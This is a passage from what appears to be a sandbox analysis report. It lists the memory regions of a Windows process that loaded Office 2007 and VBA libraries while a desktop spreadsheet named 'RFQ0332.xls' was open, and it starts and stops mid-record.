	          end_va = 0x743effff
	     entry_point = 0x743c0000
	     region_type = mapped_file
	            name = "wdmaud.drv"
	        filename = "\\Windows\\SysWOW64\\wdmaud.drv" (normalized: "c:\\windows\\syswow64\\wdmaud.drv")

Region:
	              id = 416
	        start_va = 0x743f0000
	          end_va = 0x74403fff
	     entry_point = 0x743f0000
	     region_type = mapped_file
	            name = "msohev.dll"
	        filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\MSOHEV.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\msohev.dll")

Region:
	              id = 417
	        start_va = 0x74410000
	          end_va = 0x7441dfff
	     entry_point = 0x74410000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")

Region:
	              id = 418
	        start_va = 0x74420000
	          end_va = 0x7445afff
	     entry_point = 0x74420000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 419
	        start_va = 0x74460000
	          end_va = 0x74475fff
	     entry_point = 0x74460000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 420
	        start_va = 0x74480000
	          end_va = 0x74588fff
	     entry_point = 0x74480000
	     region_type = mapped_file
	            name = "riched20.dll"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\RICHED20.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\riched20.dll")

Region:
	              id = 421
	        start_va = 0x74590000
	          end_va = 0x7459afff
	     entry_point = 0x74590000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 422
	        start_va = 0x745a0000
	          end_va = 0x74619fff
	     entry_point = 0x745a0000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 423
	        start_va = 0x74620000
	          end_va = 0x74669fff
	     entry_point = 0x74620000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")

Region:
	              id = 424
	        start_va = 0x74670000
	          end_va = 0x74698fff
	     entry_point = 0x74670000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll")

Region:
	              id = 425
	        start_va = 0x746a0000
	          end_va = 0x746acfff
	     entry_point = 0x746a0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll")

Region:
	              id = 426
	        start_va = 0x746b0000
	          end_va = 0x74844fff
	     entry_point = 0x746b0000
	     region_type = mapped_file
	            name = "ogl.dll"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\OGL.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\ogl.dll")

Region:
	              id = 427
	        start_va = 0x74850000
	          end_va = 0x74858fff
	     entry_point = 0x74850000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")

Region:
	              id = 428
	        start_va = 0x74860000
	          end_va = 0x7486afff
	     entry_point = 0x74860000
	     region_type = mapped_file
	            name = "msimtf.dll"
	        filename = "\\Windows\\SysWOW64\\msimtf.dll" (normalized: "c:\\windows\\syswow64\\msimtf.dll")

Region:
	              id = 429
	        start_va = 0x74870000
	          end_va = 0x74a0dfff
	     entry_point = 0x74870000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")

Region:
	              id = 430
	        start_va = 0x74a10000
	          end_va = 0x74c4ffff
	     entry_point = 0x74a10000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll")

Region:
	              id = 431
	        start_va = 0x74c50000
	          end_va = 0x74ca0fff
	     entry_point = 0x74c50000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv")

Region:
	              id = 432
	        start_va = 0x74cb0000
	          end_va = 0x74d4afff
	     entry_point = 0x74cb0000
	     region_type = mapped_file
	            name = "msvcr80.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")

Region:
	              id = 433
	        start_va = 0x74ec0000
	          end_va = 0x74ed2fff
	     entry_point = 0x74ec0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")

Region:
	              id = 434
	        start_va = 0x74ee0000
	          end_va = 0x74f5ffff
	     entry_point = 0x74ee0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 435
	        start_va = 0x74f70000
	          end_va = 0x74f77fff
	     entry_point = 0x74f70000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 436
	        start_va = 0x74f80000
	          end_va = 0x74fdbfff
	     entry_point = 0x74f80000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 437
	        start_va = 0x74fe0000
	          end_va = 0x7501efff
	     entry_point = 0x74fe0000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 438
	        start_va = 0x75730000
	          end_va = 0x7573bfff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 439
	        start_va = 0x75740000
	          end_va = 0x7579ffff
	     entry_point = 0x75740000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 440
	        start_va = 0x757d0000
	          end_va = 0x7586cfff
	     entry_point = 0x757d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 441
	        start_va = 0x759b0000
	          end_va = 0x759d6fff
	     entry_point = 0x759b0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")

Region:
	              id = 442
	        start_va = 0x759e0000
	          end_va = 0x759f8fff
	     entry_point = 0x759e0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 443
	        start_va = 0x75a00000
	          end_va = 0x75a8efff
	     entry_point = 0x75a00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 444
	        start_va = 0x75a90000
	          end_va = 0x75aeffff
	     entry_point = 0x75a90000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 445
	        start_va = 0x75b30000
	          end_va = 0x75b41fff
	     entry_point = 0x75b30000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll")

Region:
	              id = 446
	        start_va = 0x75be0000
	          end_va = 0x75d3bfff
	     entry_point = 0x75be0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 447
	        start_va = 0x75d40000
	          end_va = 0x75dcffff
	     entry_point = 0x75d40000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 448
	        start_va = 0x75dd0000
	          end_va = 0x75e7bfff
	     entry_point = 0x75dd0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 449
	        start_va = 0x75e80000
	          end_va = 0x75ec5fff
	     entry_point = 0x75e80000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 450
	        start_va = 0x75f30000
	          end_va = 0x75faafff
	     entry_point = 0x75f30000
	     region_type = mapped_file
	            name = "comdlg32.dll"
	        filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll")

Region:
	              id = 451
	        start_va = 0x75fb0000
	          end_va = 0x760bffff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 452
	        start_va = 0x760c0000
	          end_va = 0x7625cfff
	     entry_point = 0x760c0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll")

Region:
	              id = 453
	        start_va = 0x76260000
	          end_va = 0x7637cfff
	     entry_point = 0x76260000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 454
	        start_va = 0x76380000
	          end_va = 0x76389fff
	     entry_point = 0x76380000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 455
	        start_va = 0x76390000
	          end_va = 0x76412fff
	     entry_point = 0x76390000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 456
	        start_va = 0x76420000
	          end_va = 0x76464fff
	     entry_point = 0x76420000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll")

Region:
	              id = 457
	        start_va = 0x76470000
	          end_va = 0x7647bfff
	     entry_point = 0x76470000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")

Region:
	              id = 458
	        start_va = 0x76480000
	          end_va = 0x770c9fff
	     entry_point = 0x76480000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 459
	        start_va = 0x770d0000
	          end_va = 0x771bffff
	     entry_point = 0x770d0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 460
	        start_va = 0x771c0000
	          end_va = 0x772bffff
	     entry_point = 0x771c0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 461
	        start_va = 0x773c0000
	          end_va = 0x77416fff
	     entry_point = 0x773c0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 462
	        start_va = 0x77420000
	          end_va = 0x7744cfff
	     entry_point = 0x77420000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll")

Region:
	              id = 463
	        start_va = 0x77450000
	          end_va = 0x7764afff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")

Region:
	              id = 464
	        start_va = 0x77650000
	          end_va = 0x77654fff
	     entry_point = 0x77650000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")

Region:
	              id = 465
	        start_va = 0x77670000
	          end_va = 0x7773bfff
	     entry_point = 0x77670000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 466
	        start_va = 0x77740000
	          end_va = 0x777dffff
	     entry_point = 0x77740000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 467
	        start_va = 0x777e0000
	          end_va = 0x778fefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000777e0000"
	        filename = ""

Region:
	              id = 468
	        start_va = 0x77900000
	          end_va = 0x779f9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077900000"
	        filename = ""

Region:
	              id = 469
	        start_va = 0x77a00000
	          end_va = 0x77ba8fff
	     entry_point = 0x77a00000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 470
	        start_va = 0x77be0000
	          end_va = 0x77d5ffff
	     entry_point = 0x77be0000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 471
	        start_va = 0x7ef7d000
	          end_va = 0x7ef7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef7d000"
	        filename = ""

Region:
	              id = 472
	        start_va = 0x7ef80000
	          end_va = 0x7ef82fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef80000"
	        filename = ""

Region:
	              id = 473
	        start_va = 0x7ef83000
	          end_va = 0x7ef85fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef83000"
	        filename = ""

Region:
	              id = 474
	        start_va = 0x7ef86000
	          end_va = 0x7ef88fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef86000"
	        filename = ""

Region:
	              id = 475
	        start_va = 0x7ef89000
	          end_va = 0x7ef8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef89000"
	        filename = ""

Region:
	              id = 476
	        start_va = 0x7ef8c000
	          end_va = 0x7ef8efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef8c000"
	        filename = ""

Region:
	              id = 477
	        start_va = 0x7ef8f000
	          end_va = 0x7ef91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef8f000"
	        filename = ""

Region:
	              id = 478
	        start_va = 0x7ef92000
	          end_va = 0x7ef94fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef92000"
	        filename = ""

Region:
	              id = 479
	        start_va = 0x7ef95000
	          end_va = 0x7ef97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef95000"
	        filename = ""

Region:
	              id = 480
	        start_va = 0x7ef98000
	          end_va = 0x7ef9afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef98000"
	        filename = ""

Region:
	              id = 481
	        start_va = 0x7ef9b000
	          end_va = 0x7ef9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef9b000"
	        filename = ""

Region:
	              id = 482
	        start_va = 0x7ef9e000
	          end_va = 0x7efa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef9e000"
	        filename = ""

Region:
	              id = 483
	        start_va = 0x7efa1000
	          end_va = 0x7efa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa1000"
	        filename = ""

Region:
	              id = 484
	        start_va = 0x7efa4000
	          end_va = 0x7efa6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa4000"
	        filename = ""

Region:
	              id = 485
	        start_va = 0x7efa7000
	          end_va = 0x7efa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa7000"
	        filename = ""

Region:
	              id = 486
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 487
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""

Region:
	              id = 488
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 489
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 490
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 491
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 492
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 493
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 494
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 495
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 496
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 497
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 498
	        start_va = 0x5fa0000
	          end_va = 0x5fdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005fa0000"
	        filename = ""

Region:
	              id = 499
	        start_va = 0x6500000
	          end_va = 0x65fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006500000"
	        filename = ""

Region:
	              id = 500
	        start_va = 0x75870000
	          end_va = 0x759a5fff
	     entry_point = 0x75870000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")

Region:
	              id = 501
	        start_va = 0x772c0000
	          end_va = 0x773b4fff
	     entry_point = 0x772c0000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")

Region:
	              id = 502
	        start_va = 0x7ef7a000
	          end_va = 0x7ef7cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef7a000"
	        filename = ""

Region:
	              id = 503
	        start_va = 0x36f0000
	          end_va = 0x36fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000036f0000"
	        filename = ""

Region:
	              id = 504
	        start_va = 0x3890000
	          end_va = 0x3890fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003890000"
	        filename = ""

Region:
	              id = 505
	        start_va = 0x38a0000
	          end_va = 0x38a1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000038a0000"
	        filename = ""

Region:
	              id = 506
	        start_va = 0x4060000
	          end_va = 0x4070fff
	     entry_point = 0x4060000
	     region_type = mapped_file
	            name = "c_1254.nls"
	        filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls")

Region:
	              id = 507
	        start_va = 0x4080000
	          end_va = 0x40aefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004080000"
	        filename = ""

Region:
	              id = 508
	        start_va = 0x4c50000
	          end_va = 0x4ccffff
	     entry_point = 0x4c50000
	     region_type = mapped_file
	            name = "share.cgissid07ua3tpfid07ua3tpfilenamerfq0332.xlsopenfolderforcedownloadep.xls"
	        filename = "\\Users\\kFT6uTQW\\Desktop\\share.cgissid07Ua3Tpfid07Ua3TpfilenameRFQ0332.xlsopenfolderforcedownloadep.xls" (normalized: "c:\\users\\kft6utqw\\desktop\\share.cgissid07ua3tpfid07ua3tpfilenamerfq0332.xlsopenfolderforcedownloadep.xls")

Region:
	              id = 509
	        start_va = 0x4cd0000
	          end_va = 0x4d4ffff
	     entry_point = 0x4cd0000
	     region_type = mapped_file
	            name = "~df9926ea907a7ce563.tmp"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~DF9926EA907A7CE563.TMP" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\~df9926ea907a7ce563.tmp")

Region:
	              id = 510
	        start_va = 0x5360000
	          end_va = 0x5363fff
	     entry_point = 0x5360000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 511
	        start_va = 0x6600000
	          end_va = 0x69fffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006600000"
	        filename = ""

Region:
	              id = 512
	        start_va = 0x78800000
	          end_va = 0x7895bfff
	     entry_point = 0x78800000
	     region_type = mapped_file
	            name = "msxml5.dll"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE11\\msxml5.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office11\\msxml5.dll")

Region:
	              id = 513
	        start_va = 0x3cf0000
	          end_va = 0x3cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003cf0000"
	        filename = ""

Region:
	              id = 514
	        start_va = 0x3d50000
	          end_va = 0x3d5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d50000"
	        filename = ""

Region:
	              id = 515
	        start_va = 0x3f60000
	          end_va = 0x3f6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f60000"
	        filename = ""

Region:
	              id = 516
	        start_va = 0x3fb0000
	          end_va = 0x3fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fb0000"
	        filename = ""

Region:
	              id = 517
	        start_va = 0x4430000
	          end_va = 0x4446fff
	     entry_point = 0x4430000
	     region_type = mapped_file
	            name = "msxml5r.dll"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE11\\1033\\msxml5r.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office11\\1033\\msxml5r.dll")

Region:
	              id = 518
	        start_va = 0x4c30000
	          end_va = 0x4c3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c30000"
	        filename = ""

Region:
	              id = 519
	        start_va = 0x5600000
	          end_va = 0x563ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005600000"
	        filename = ""

Region:
	              id = 520
	        start_va = 0x5680000
	          end_va = 0x56bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005680000"
	        filename = ""

Region:
	              id = 521
	        start_va = 0x56c0000
	          end_va = 0x577ffff
	     entry_point = 0x56c0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")

Region:
	              id = 522
	        start_va = 0x6bf0000
	          end_va = 0x6c2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006bf0000"
	        filename = ""

Region:
	              id = 523
	        start_va = 0x6c30000
	          end_va = 0x702ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006c30000"
	        filename = ""

Region:
	              id = 524
	        start_va = 0x755d0000
	          end_va = 0x7562efff
	     entry_point = 0x755d0000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll")

Region:
	              id = 525
	        start_va = 0x65000000
	          end_va = 0x65277fff
	     entry_point = 0x65000000
	     region_type = mapped_file
	            name = "vbe6.dll"
	        filename = "\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL" (normalized: "c:\\progra~2\\common~1\\micros~1\\vba\\vba6\\vbe6.dll")

Region:
	              id = 526
	        start_va = 0x5b20000
	          end_va = 0x5c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005b20000"
	        filename = ""

Region:
	              id = 527
	        start_va = 0x65300000
	          end_va = 0x65325fff
	     entry_point = 0x65300000
	     region_type = mapped_file
	            name = "vbe6intl.dll"
	        filename = "\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\1033\\VBE6INTL.DLL" (normalized: "c:\\progra~2\\common~1\\micros~1\\vba\\vba6\\1033\\vbe6intl.dll")

Region:
	              id = 528
	        start_va = 0x3890000
	          end_va = 0x389ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003890000"
	        filename = ""

Region:
	              id = 529
	        start_va = 0x4010000
	          end_va = 0x4010fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004010000"
	        filename = ""

Region:
	              id = 530
	        start_va = 0x42b0000
	          end_va = 0x42b2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042b0000"
	        filename = ""

Region:
	              id = 531
	        start_va = 0x42d0000
	          end_va = 0x42d3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042d0000"
	        filename = ""

Region:
	              id = 532
	        start_va = 0x4450000
	          end_va = 0x4450fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004450000"
	        filename = ""

Region:
	              id = 533
	        start_va = 0x49c0000
	          end_va = 0x49c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000049c0000"
	        filename = ""

Region:
	              id = 534
	        start_va = 0x4ad0000
	          end_va = 0x4aeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ad0000"
	        filename = ""

Region:
	              id = 535
	        start_va = 0x4af0000
	          end_va = 0x4af3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004af0000"
	        filename = ""

Region:
	              id = 536
	        start_va = 0x4b00000
	          end_va = 0x4b02fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b00000"
	        filename = ""

Region:
	              id = 537
	        start_va = 0x4b70000
	          end_va = 0x4b8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b70000"
	        filename = ""

Region:
	              id = 538
	        start_va = 0x4b90000
	          end_va = 0x4b9cfff
	     entry_point = 0x4b90000
	     region_type = mapped_file
	            name = "vbe6.dll"
	        filename = "\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA6\\VBE6.DLL" (normalized: "c:\\progra~2\\common~1\\micros~1\\vba\\vba6\\vbe6.dll")

Region:
	              id = 539
	        start_va = 0x4bf0000
